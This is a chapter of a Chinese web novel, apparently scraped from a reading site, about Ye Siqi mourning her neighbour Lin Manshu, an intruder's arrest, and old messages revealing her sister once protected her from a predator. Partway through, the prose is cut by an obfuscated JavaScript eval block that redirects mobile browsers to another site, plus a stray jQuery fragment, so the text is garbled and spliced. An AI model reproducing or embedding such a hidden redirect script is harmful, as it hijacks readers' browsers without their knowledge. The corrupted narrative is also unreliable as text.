叶思琪站在自家的楼梯上，木质台阶被踩得发出轻微的“吱呀”声。


    她每往上走一步，嘴里就念叨一句：“告诉顾洛白……不告诉顾洛白……”


    声音越来越小，到最后一级台阶，刚好落在“不告诉顾洛白”上。她扶着冰冷的扶手，脸上的泪痕还未干，风从窗户缝钻进来，吹得她脸颊发僵。


    叶思琪攥着顾洛白的备用机，指尖在屏幕上反复摩挲，点开「顾德拜」的聊天界面又退出来，输入框里的字打了又删除。


    她不知道怎么开口，总不能轻飘飘发一句“Hi～排骨哥哥”，然后冷冰冰地通知他噩耗。那种感觉，像是亲手递了一把刀给他。


    忽地，叶思琪脑海中灵光一闪，她答应林蔓舒不告诉顾洛白，可没说不告诉别人啊！


    她赶紧跑回房间，用冷水洗了把脸，冰凉的水让她混沌的脑子清醒了些，她又抽出纸巾用力擤了擤鼻涕。她深吸一口气，拨通了陆延的电话。


    “哟，这不是无情的女人吗？”陆延起浪的声调从话筒里传来，还夹杂着酒杯碰撞的声音，“你可第一次给我打电话呢，怎么，想通了要跳槽到我们朔风？”


    “陆总。”叶思琪压下喉咙里的酸涩，尽量让语气平静些，忽略他的油腔滑调，假装随意地问，“顾总回来了吗？”


    “不知道啊，他去哪了？”陆延那边一阵窸窣声响，像是在翻找什么，“他顾洛白的行程，什么时候和我汇报过？”


    叶思琪的心沉了沉，追问：“那你们这两天会通话吗？”


    陆延扬起声调：“怎么？他也没和你报备呢？”


    “不是一回事。”叶思琪顺着他的话往下说，声音放得更软，“我没跟他说请假的原因，怕他不高兴。如果陆总方便的话，能不能帮我传达一声？就说……我一个很亲的邻居阿姨生病了，我得在家照顾几天。”


    “小思琪，早让你来朔风呀，请个假还不敢和老板说。我陆延不亏待你，就算你休孕假，我都给你批！还开双倍工资，让你来给我当秘书，怎么样？”


    叶思琪此刻没心思跟他开玩笑，只闷闷回道：“陆总，我要开学了，没法全职上班。不过如果你愿意在A大管院设立企业奖学金，我会很感激你的。毕竟一等奖，只会是我。”


    “嘿，跟顾洛白待久了，果然学会当奸商了！”陆延笑了两声，语气里却没什么恶意。


    “记得帮我传达哦，陆总。”叶思琪咽了两下口水，尽量让声音听起来不那么低落。


    “行，知道了。难得小思琪有求于我，肯定得提一嘴。”


    “好，谢谢陆总。”叶思琪说完挂断电话，房间里顿时安静下来，只剩下墙上挂钟“滴答滴答”的声音，显得格外冷清。


    她盯着手机屏幕上顾洛白的账号，还是给他发了条消息，附带自家地址——


    「顾总，我到家了。」


    她只能尽力做到这一步了。


    世事无常，潮起潮落间，叶思琪第一次真切地觉得生命如此脆弱。


    徐意和叶利军最近忙着生意，每天都很晚回家，叶思琪便打开电脑，帮他们整理订单、排货运日期。


    屏幕上的表格密密麻麻，她盯着其中一个重复出现的店名，突然愣住了。


    A市恒泰的海港餐厅？这个名字怎么这么耳熟？


    叶思琪的记性一向好，只要有个引子，就能把过往的细节全勾出来。她忽然想起，恒泰是顾洛白之前参加过剪彩活动的商城，而那家海港餐厅，好像是柳韵雯舅舅家的产业？那天剪彩活动，她也在场，顾洛白还特意问了句“海港餐厅”。


    她当时没在意，可现在想来，嘉亿明明不做冷链运输，他问这个干什么？这期间，他爸妈店又多了好多笔A市的生意。


    每想通一点，叶思琪的心跳就快一分。


    顾洛白早就认出了她。


    接下来的几天，叶思琪每天都去林蔓舒家吃中晚饭。她学着做菜，让林蔓舒坐在旁边指导。


    林蔓舒每天都换一条漂亮的裙子，将自己梳洗得干干净净。可叶思琪还是能看出她眼底的疲惫。


    她的手越来越抖，夹菜时偶尔会把菜掉桌子上，说话也越来越慢。可顾洛白那边，始终没有任何动静，叶思琪在焦虑中度过了五天，心一直悬在半空。


    周二清晨，天刚蒙蒙亮，奶酪从门缝里钻进来，用湿漉漉的鼻子蹭叶思琪的脸，还发出“呜呜”的低叫声，像是在提醒她什么。


    叶思琪猛地睁开眼，心里绷着的弦终于断了。


    她什么也没换，就穿着睡衣踏着拖鞋往林蔓舒家跑，推开门，看到徐意坐在沙发上抹眼泪，她就什么都明白了：


    林蔓舒，就此长眠。


    徐意和叶利军操办了林蔓舒的后事，将她的骨灰葬在他们乡的墓地，墓碑很简单，只刻着“林蔓舒之墓”五个字。


    徐意红着眼眶说：“蔓舒是Z市人，可她不愿意回去，说在这里待得很舒服。她早就给自己刻好了墓碑，连顾嘉的名字也不想放，说她命该此。”


    叶思琪站在墓碑前，风卷起地上的落叶，吹得她头发乱飞，眼泪像断了线的珠子，砸在冰冷的墓碑上。


    那些叶思琪哭着说不要的东西——


    红色的存折、旧手机、明信片，林蔓舒都打包在一起，放在了奶酪的猫窝边上，其他的东西，全跟着她一起火化了。


    叶思琪从墓地回来后，就坐在林蔓舒空荡荡的卧室里发呆，房间里还留着她常用的香水味，可再也看不到那个笑着喊她“思琪”的人了。她翻来覆去地收拾房间，明明没什么东西，却把抽屉、衣柜都倒腾了一遍，好像这样就能找到林蔓舒还在的痕迹。


    她心下一惊，冲出大门，站在街道上张望。


    外面空荡荡的，只有几个吃完晚饭的老人在散步，路灯照在路面上，平静得好像什么事都没发生过。


    可她知道，有些东西，再也回不来了。


    当天晚上，叶思琪正坐在沙发上抱着奶酪发呆，突然传来急促的敲门声。她打开门，看到一个粗眉大眼的中年男人，一脸怒气冲冲地问：“你认识林蔓舒吗？”


    “你是谁？”叶思琪蹙眉，下意识地挡住门口。


    那男人没回答，作势就要往屋里闯：“让开！她会把东西给谁？”


    “你谁啊！再闯我报警了！”叶思琪大喊，手已经摸向了身后的手机。


    没等她拨通电话，几个穿着便衣的人就从楼梯口走了过来，迅速扣住了那个男人的胳膊。其中一位拿出证件，递给叶思琪看了眼，声音严肃：“我们是警察，现在以非法侵入住宅罪逮捕你。”


    那男人挣扎着，双手举过头顶，嘴里还嚷嚷着：“有意思么，吴警官？抓我进去几天，我还不是一样能出来！”


    他临走前，恶狠狠地盯了叶思琪一眼，那眼神像毒蛇一样，看得她浑身发毛，难受得只想躲开。


    叶思琪还没缓过神，就看到楚安然从警察身后走了出来。


    她也是一愣，赶紧走过来问：“思琪，你没什么事吧？”


    “安然？你怎么在这？”叶思琪惊讶地睁大眼睛。


    楚安然是计算机技术人员，平时只管网络安全，怎么会跟着警察出来执行任务？


    “来B市跟任务呢。”楚安然笑了笑，活动了一下手腕，“我们最近在查一个案子，刚好跟这个人有关。”


    “你们单位花一份工资，让你干两份活啊。”叶思琪吐槽道，心里却松了口气。


    有楚安然在，她安心多了。


    “没事，好多人还不一定打得过我呢。”


    楚安然拍了拍她的肩膀，语气带着自信。


    叶思琪倒是相信这话。


    A大隔壁就是警校，楚安然还在那边辅修了侦查学，平时练过格斗，真遇到危险，比一般男生还能打。


    叶思琪摸了摸胳膊，心里暗暗盘算：下学期一定要报个防身课，最近遇到的这些事，实在太诡异了，多学点本事总是好的。


    “对了，那人是谁啊？”叶思琪指了指被警察押进警车的男人，小声问。


    “不是什么好人，跟之前的一些案子有关。”楚安然面色凝重，看了看隔壁林蔓舒家的门，犹豫了一下，还是问：“林阿姨是住隔壁吗？”


    “对，就是之前去A市找我的邻居阿姨，我们还一起吃过饭。”叶思琪的声音低了下来，眼圈又红了，“她……刚过世了。”


    楚安然愣了一下，随即轻轻拍了拍她的后背，安慰道：“节哀。最近你一个人在家注意安全，快开学了，也早点回学校吧。我后天开车回A市，捎上你一起？”


    “好。”叶思琪立刻点头，低头看了看怀里的奶酪，“刚好把奶酪带去A市，寄养在伊诺工作室吧，让我爸妈照看，指不定能把它养成流浪猫。”


    “行，晚上锁好门，那我后天早上来接你。”楚安然点点头，又不放心地说，“我这两天住你家，方便吗？”


    “当然！你早说在B市随时可以住我家里。”


    楚安然留下后，叶思琪心里的压抑终于有了输出口。


    她坐在地板上，捣弄着林蔓舒留下的东西，先是给那个旧手机充上电，又翻看着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389336|183825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那叠蜡笔画，嘴里絮絮叨叨地跟楚安然说话：“其实，顾洛白就是林姨的儿子，我们小时候在一起长大，后来他被亲爸接走了。我之前还纳闷他怎么对我这么好，现在才知道，他早就认出我了。”


    “林姨还不让我告诉顾洛白她生病的事，说会有危险。我本来还觉得她想多了，可今天看到那个男人，突然觉得林姨说的是对的。”


    “思琪……其实……”楚安然欲言又止，眼神复杂地看着她，最后还是把话咽了回去，转了个话锋，“可能林阿姨有自己的顾虑吧，她也是为了你们好。”


    叶思琪没注意到楚安然的异样，她打开那个红色的存折，看着上面显示的一百多万存款，心里毫无波动——


    这些钱，再怎么多，也换不回林姨的命。


    “也不知道陆延有没有跟顾洛白说，他那么聪明，应该能听懂我的意思吧……”叶思琪说着说着，鼻子又一酸，眼泪差点掉下来。


    这时，旁边的旧手机突然“叮”了一声，充满电自动开机了。屏幕很暗，还带着点卡顿，叶思琪本来想把里面的资料删干净再扔掉，可点开短信界面时，却愣住了——


    里面居然还留存着几年前的短信，发件人备注是“人渣”。


    其他短信没什么特别，可其中几封的内容，看得叶思琪脑子混沌。


    「叶思媛，你不答应和我睡觉，我就去睡你妹了。」


    「你是不是有病？你敢动她一根手指头，我一定让你付出代价。」


    「谁怕谁啊？老实说，我更喜欢年纪大的，睡起来带劲。不过要是你们姐妹俩能一起伺候我，就更好了。」


    再往后翻，隔了两个月，严广诚又发了条短信——


    「下周三我生日，酒店房号：xxxxx。你不来，我就去上.叶思琪。」


    叶思琪的心跳瞬间加速，她猛地想起，发短信的那天，正是叶思媛上大学后第一次回家。


    那天叶思媛脸色很难看，饭没吃一口，就盯着她冷言冷语：“你最近谈恋爱了？”


    当时叶思琪刚收到严广诚送的花，还答应去参加他的生日聚会，心情正好，没好气地回：“关你什么事！”


    “叫严广诚是吧？”叶思媛看着她心花怒放的样子，气不打一处来，语气更冷了。


    叶思琪又说了一遍：“我跟谁谈恋爱，跟你有什么关系？你就算想抢，也抢不走！”


    “你脑子也有病！”叶思媛猛地摔了筷子，声音拔高，“你妈能抢我爸，我凭什么不能抢你的东西！”


    那会儿徐意和叶利军也在场，两人脸色难看，却一句话都没说。


    叶思琪当时气得浑身发抖，拍桌而起：“叶思媛！你才有病！”


    “是啊，我脑子有病才管你！才怕你被人渣骗！”叶思媛说完，转身拎着行李箱就走了，留下一桌子狼藉。


    叶思琪又翻了翻手机相册，在临近日期的文件夹里，找到一段视频。


    她点开视频，严广诚油腻的声音先传了出来：“你还是来了！我就知道你舍不得我，想尝尝我的大JB吧？”


    “叶思琪呢？”叶思媛的声音很冷，没有一丝温度。


    “有你在，我还用管她？”严广诚凑近镜头，脸上带着猥琐的笑，“走吧，我开了总统套房，保证让你舒服。”


    “你知道侵犯未成年人犯法吗？”叶思媛的声音带着嘲讽。


    “叶思琪未成年，你不是啊。”严广诚笑着，眼神色眯眯的，“不得不说，你们姐妹俩的身材真不错，我还有点舍不得叶思琪呢。”


    叶思媛冷笑一声，画面突然一转，她身后走出两三个壮汉，个个身材高大。叶思媛语气冷淡地说：“给我揍他，别打死就行。”


    视频后面有些模糊，却能看到严广诚被打得抱头求饶，叶思媛靠在墙上冷眼旁观，等他哭得没力气了，才走过去，对着他的下身狠狠踢了一脚。严广诚疼得惨叫出声，声音刺耳。


    “再敢靠近叶思琪一步，我直接废了你！”叶思媛的声音带着狠劲，“这是正当防卫，不构成犯罪，你个法盲。”


    视频结束了，叶思琪脑子刺痛。


    她终于明白，严广诚后来为什么突然离她远远的，不止是因为她在KTV拍的视频，更因为叶思媛在背后教训了他一顿。


    叶思琪嗓子发紧，想找点饮料降温，她站起身，走到厨房，打开冰箱门——


    看到里面的景象时，眼泪止不住地往下掉。


    冰箱里整整齐齐地存放着一排排用保鲜盒装好的排骨，叶思琪知道——


    那是留给顾洛白的。